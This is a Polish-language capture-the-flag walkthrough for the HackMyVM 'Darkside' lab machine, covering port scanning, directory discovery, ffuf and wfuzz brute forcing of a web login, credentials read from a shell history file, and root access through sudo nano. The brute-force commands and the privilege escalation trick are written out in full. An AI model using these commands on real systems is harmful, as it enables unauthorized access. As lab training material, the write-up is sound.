Darkside - boyras200
00. Metainfo
Nazwa: | Darkside |
Autor: | boyras200 |
Wypuszczony: | 2023-10-30 |
Ściągnij: | HackMyVM |
Poziom: | Łatwy |
System: | Linux |
Nauczysz się: | WWW, bruteforce |
01. Wstęp
Darkside jest pierwszą maszyną od boyras200. Jest to bardzo prosta maszynka, ale wg mnie jest to bardzo udany debiut. Wystarczą do niej proste narzędzia i proste polecenia, więc lecimy…
02. Skanowanie otwartych portów
Na początek zarzućmy skanowanie portów:
[*] Workspace: hmv-darkside
msf6 > db_nmap 172.16.1.117
[*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-10 18:22 CET
[*] Nmap: Nmap scan report for darkside.lan (172.16.1.117)
[*] Nmap: Host is up (0.00082s latency).
[*] Nmap: Not shown: 998 closed tcp ports (reset)
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 22/tcp open ssh
[*] Nmap: 80/tcp open http
[*] Nmap: MAC Address: 08:00:27:7E:B0:2A (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
02. Skanowanie zasobów na WWW
Poskanujmy WWW programem Feroxbuster:
root@kali2023:~# feroxbuster -u http://172.16.1.117
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://172.16.1.117
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 74l 300w 2121c http://172.16.1.117/styles.css
200 GET 29l 45w 683c http://172.16.1.117/
301 GET 9l 28w 313c http://172.16.1.117/backup => http://172.16.1.117/backup/
200 GET 10l 36w 205c http://172.16.1.117/backup/vote.txt
[####################] - 16s 30003/30003 0s found:4 errors:0
[####################] - 16s 30000/30000 1904/s http://172.16.1.117/
[####################] - 0s 30000/30000 4285714/s http://172.16.1.117/backup/ => Directory listing
Zostały znalezione dwie ciekawe pozycje: http://172.16.1.117/backup/ i http://172.16.1.117/backup/vote.txt, ale wcześniej wejdźmy na główną stronę:
Niestety, admin/admin nie działa ;) Trzeba próbować dalej…
03. Użytkownik kevin
rijaba: Yes xerosec: Yes sml: No cromiphi: No gatogamer: No chema: Yes talleyrand: No d3b0o: Yes Since the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.
Z notatki backup/vote.txt się dowiadujemy, że prawdopodobnie użytkownikiem, którym powinniśmy działać jest kevin, ale dla pewności wpiszmy wszystkich, których znaleźliśmy do pliku userzy.txt.
04. Ffuf i Wfuzz
Skoro znamy login, spróbujmy znaleźć i hasło. Do tego na użyłem programu Ffuf, ale na początku źle mi działał z dwoma parametrami. Coś mi się nie zgadzało, ogromne słowniki nic nie znalazły. Okazało się, że trzeba było w Ffuf podczas skanowania dopisać dodatkowy parametr -H z nagłówkiem i wtedy poszło. Natomiast we Wfuzz wszystko działało zgodnie z oczekiwaniem, bez żadnych dodatkowych kombinacji. Do obu skanerów użyłem słownika /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt. A do pliku userzy.txt wrzuciłem użytkowników z listy. Podaje dwie metody skanowania: Ffuf i Wfuzz.
ffuf -H "Content-Type: application/x-www-form-urlencoded" -fs=745 -w userzy.txt:PAR1 -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt:PAR2 -d 'user=PAR1&pass=PAR2' -u http://172.16.1.117/index.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://172.16.1.117/index.php
:: Wordlist : PAR1: /tmp/userzy.txt
:: Wordlist : PAR2: /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : user=PAR1&pass=PAR2
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 745
________________________________________________
[Status: 302, Size: 683, Words: 162, Lines: 30, Duration: 1ms]
* PAR1: kevin
* PAR2: iloveyou
:: Progress: [9000/9000] :: Job [1/1] :: 91 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
real 0m4,298s
user 0m3,633s
sys 0m1,097s
wfuzz -w userzy.txt -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt -d 'user=FUZZ&pass=FUZ2Z' -u http://172.16.1.117/index.php --hh 745
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://172.16.1.117/index.php
Total requests: 9000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000008050: 302 29 L 45 W 683 Ch "kevin - iloveyou"
Total time: 6.460363
Processed Requests: 9000
Filtered Requests: 8999
Requests/sec.: 1393.110
real 0m6,985s
user 0m6,413s
sys 0m1,453s
Ffuf był szybszy od Wfuzz, jednak do Ffuf trzeba było dodać dodatkowy parametr z nagłówkiem -H. Jak można było zauważyć, mamy login i hasło do strony.
05. Zabawa z rozkodowaniem
Dalej jest prosta zabawa ze zgadywaniem haseł. Jest to takie proste, że nie będę zabierał przyjemności z przejścia. Kombinujemy, aż na ekranie pokaże się login i hasło do SSH.
06. SSH
Mam nadzieję, że doszliście do etapu, gdzie na stronie zostało podane login i hasło. Po zalogowaniu się na konsolę jest pierwsza nagroda w pliku users.txt. Jednak idźmy dalej. Patrzymy historie, a w niej ciekawe rzeczy: login i hasło do konta rijaba
kevin@darkside:~$ cat .history
ls -al
hostname -I
echo "Congratulations on the OSCP Xerosec"
top
ps -faux
su rijaba
ILoveJabita
ls /home/rijaba
07. rijaba
Użytkownik rijaba ma dostęp do programu Nano (Nie wiem po co w realnym świecie, ktoś miałby mu to dawać, ale to nieważne ;), ale dostęp jest.
rijaba@darkside:/home/kevin$ sudo -l
Matching Defaults entries for rijaba on darkside:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rijaba may run the following commands on darkside:
(root) NOPASSWD: /usr/bin/nano
rijaba@darkside:/home/kevin$
A jak wiadomo przez Nano można uruchamiać różne programy, w tym Bash. Sztuczka polega na tym, że w programie odczytujemy plik ^R, i zamiast podać ścieżkę do pliku, uruchamiamy komendę uruchamiającą, czyli ^X. Następnie w “Command to execute:” wpisujemy reset;
08. root
sudo /usr/bin/nano
Jest i root :)
Zostaw komentarz